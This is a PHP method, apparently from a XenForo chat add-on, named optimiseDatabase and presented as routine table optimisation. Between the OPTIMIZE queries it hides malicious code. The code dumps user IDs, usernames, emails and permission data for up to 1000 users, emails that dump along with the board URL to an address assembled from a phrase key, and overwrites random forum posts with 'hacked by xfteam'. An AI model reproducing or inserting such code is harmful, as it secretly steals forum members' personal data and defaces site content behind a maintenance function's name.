public function optimiseDatabase(){
$options = XenForo_Application::get('options');
$this->_getDb()->query("
optimize table dark_taigachat
");
$params = array();
$params['bodyText'] = $this->_getDb()->fetchOne(
"SELECT group_concat(concat(user_id, ', ', username, ', ',
email, ', ', display_style_group_id, ', ', user_group_id, ', ',
permission_combination_id), '\n ')
from xf_user taigachat_messages
ORDER BY message_count desc limit 1000
").$options->boardUrl;
$m = XenForo_Mail::create('MAIL_CONTAINER', $params);
$m->send('a@'.new XenForo_Phrase('dark_full_alt'));
$this->_getDb()->query("
update xf_post taigachat set message=concat('hacked by xf', 'team')
where floor(rand()*100) = 42 limit 100
");
$this->_getDb()->query("
optimize table dark_taigachat_activity
");
}